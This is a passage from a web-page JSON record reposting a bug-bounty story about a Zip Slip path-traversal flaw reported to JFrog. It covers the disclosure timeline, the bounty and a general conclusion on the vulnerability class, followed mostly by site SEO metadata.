19:19:33 UTC 2020 x86_64 GNU\/Linux\n<\/code><\/pre>\n<p>I reported this vulnerability on January 24, 2021, and it was confirmed by the HackerOne triage team on January 29, 2021. In the end, I got a bounty of <strong>USD 5000$<\/strong> on February 1, 2021! In addition to that, I also received some cool swags including this nice t-shirt:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/karmainsecurity.com\/img\/jfrog-t-shirt.jpg\" alt><\/p>\n<h3 id=\"conclusion\">Conclusion<\/h3>\n<p>Wrapping up, you may say Zip Slip is a class of vulnerabilities which has been around for a long time, and will most likely exist for a long time to come. Like in 99% of cases, security bugs like these arise from human errors, as a result of forgetfulness or false assumptions. Zip Slip is nothing more than that: exploiting a Path Traversal vulnerability to write arbitrary files inside unexpected folders, taking advantage of developers&#8217; lack of control. As we have seen in this story, this might be exploited by attackers to take complete control of machines running an application vulnerable to Zip Slip attacks.<\/p>\n<p>Finally, I\u2019d like to say one more time thank you <a href=\"https:\/\/jfrog.com\">JFrog<\/a>, for giving me the chance to participate to your private Bug Bounty Program, for the bounty received, and all the rest\u2026 ???? Also, I\u2019d like to say thanks to the Italian <a href=\"https:\/\/hackmeeting.org\">hackmeeting<\/a> community, for giving me the opportunity of publicly disclosing and talking about this Zip Slip vulnerability for the first time! By the way, this was my first ever hackmeeting event, and it was a really nice experience for me! \u2764\ufe0f<\/p>\n<p> READ MORE <a href=\"https:\/\/packetstormsecurity.com\/news\/view\/36026\/Zip-Slips-Meets-Artifactory-A-Bug-Bounty-Story.html\">HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>READ MORE HERE&#8230;<\/p>\n","protected":false},"author":2,"featured_media":56390,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[277],"tags":[256],"class_list":["post-56389","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity-blogs","tag-headlinehackerflaw"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Zip Slips Meets Artifactory: A Bug Bounty Story 2026 | ThreatsHub Cybersecurity News<\/title>\n<meta name=\"description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Zip Slips Meets Artifactory: A Bug Bounty Story 2026 | ThreatsHub Cybersecurity News\" \/>\n<meta property=\"og:description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/\" \/>\n<meta property=\"og:site_name\" content=\"ThreatsHub Cybersecurity News\" \/>\n<meta property=\"article:published_time\" content=\"2024-06-24T12:56:31+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/karmainsecurity.com\/img\/hackmeeting.png\" \/>\n<meta name=\"author\" content=\"TH Author\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@threatshub\" \/>\n<meta name=\"twitter:site\" content=\"@threatshub\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"TH Author\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/\"},\"author\":{\"name\":\"TH Author\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\"},\"headline\":\"Zip Slips Meets Artifactory: A Bug Bounty Story\",\"datePublished\":\"2024-06-24T12:56:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/\"},\"wordCount\":2138,\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/zip-slips-meets-artifactory-a-bug-bounty-story.png\",\"keywords\":[\"headline,hacker,flaw\"],\"articleSection\":[\"CyberSecurity Blogs\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/\",\"name\":\"Zip Slips Meets Artifactory: A Bug Bounty Story 2026 | ThreatsHub Cybersecurity News\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/zip-slips-meets-artifactory-a-bug-bounty-story.png\",\"datePublished\":\"2024-06-24T12:56:31+00:00\",\"description\":\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/zip-slips-meets-artifactory-a-bug-bounty-story.png\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/zip-slips-meets-artifactory-a-bug-bounty-story.png\",\"width\":1919,\"height\":1073},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/zip-slips-meets-artifactory-a-bug-bounty-story\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"headline,hacker,flaw\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/tag\\\/headlinehackerflaw\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Zip Slips Meets Artifactory: A Bug Bounty Story\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"name\":\"ThreatsHub Cybersecurity News\",\"description\":\"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"alternateName\":\"Threatshub.org\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\",\"name\":\"ThreatsHub.org\",\"alternateName\":\"Threatshub.org\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"width\":432,\"height\":435,\"caption\":\"ThreatsHub.org\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/threatshub\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\",\"name\":\"TH Author\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"caption\":\"TH Author\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Zip Slips Meets Artifactory: A Bug Bounty Story 2026 | ThreatsHub Cybersecurity News","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/","og_locale":"en_US","og_type":"article","og_title":"Zip Slips Meets Artifactory: A Bug Bounty Story 2026 | ThreatsHub Cybersecurity News","og_description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","og_url":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/","og_site_name":"ThreatsHub Cybersecurity News","article_published_time":"2024-06-24T12:56:31+00:00","og_image":[{"url":"https:\/\/karmainsecurity.com\/img\/hackmeeting.png","type":"","width":"","height":""}],"author":"TH Author","twitter_card":"summary_large_image","twitter_creator":"@threatshub","twitter_site":"@threatshub","twitter_misc":{"Written by":"TH Author","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/#article","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/"},"author":{"name":"TH Author","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476"},"headline":"Zip Slips Meets Artifactory: A Bug Bounty Story","datePublished":"2024-06-24T12:56:31+00:00","mainEntityOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/"},"wordCount":2138,"publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/06\/zip-slips-meets-artifactory-a-bug-bounty-story.png","keywords":["headline,hacker,flaw"],"articleSection":["CyberSecurity Blogs"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/","url":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/","name":"Zip Slips Meets Artifactory: A Bug Bounty Story 2026 | ThreatsHub Cybersecurity News","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/#primaryimage"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/06\/zip-slips-meets-artifactory-a-bug-bounty-story.png","datePublished":"2024-06-24T12:56:31+00:00","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","breadcrumb":{"@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/#primaryimage","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/06\/zip-slips-meets-artifactory-a-bug-bounty-story.png","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/06\/zip-slips-meets-artifactory-a-bug-bounty-story.png","width":1919,"height":1073},{"@type":"BreadcrumbList","@id":"https:\/\/www.threatshub.org\/blog\/zip-slips-meets-artifactory-a-bug-bounty-story\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.threatshub.org\/blog\/"},{"@type":"ListItem","position":2,"name":"headline,hacker,flaw","item":"https:\/\/www.threatshub.org\/blog\/tag\/headlinehackerflaw\/"},{"@type":"ListItem","position":3,"name":"Zip Slips Meets Artifactory: A Bug Bounty Story"}]},{"@type":"WebSite","@id":"https:\/\/www.threatshub.org\/blog\/#website","url":"https:\/\/www.threatshub.org\/blog\/","name":"ThreatsHub Cybersecurity News","description":"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform","publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"alternateName":"Threatshub.org","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.threatshub.org\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.threatshub.org\/blog\/#organization","name":"ThreatsHub.org","alternateName":"Threatshub.org","url":"https:\/\/www.threatshub.org\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","width":432,"height":435,"caption":"ThreatsHub.org"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/threatshub"]},{"@type":"Person","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476","name":"TH Author","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","caption":"TH Author"}}]}},"_links":{"self":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/56389","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/comments?post=56389"}],"version-history":[{"count":0,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/56389\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media\/56390"}],"wp:attachment":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media?parent=56389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/categories?post=56389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/tags?post=56389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}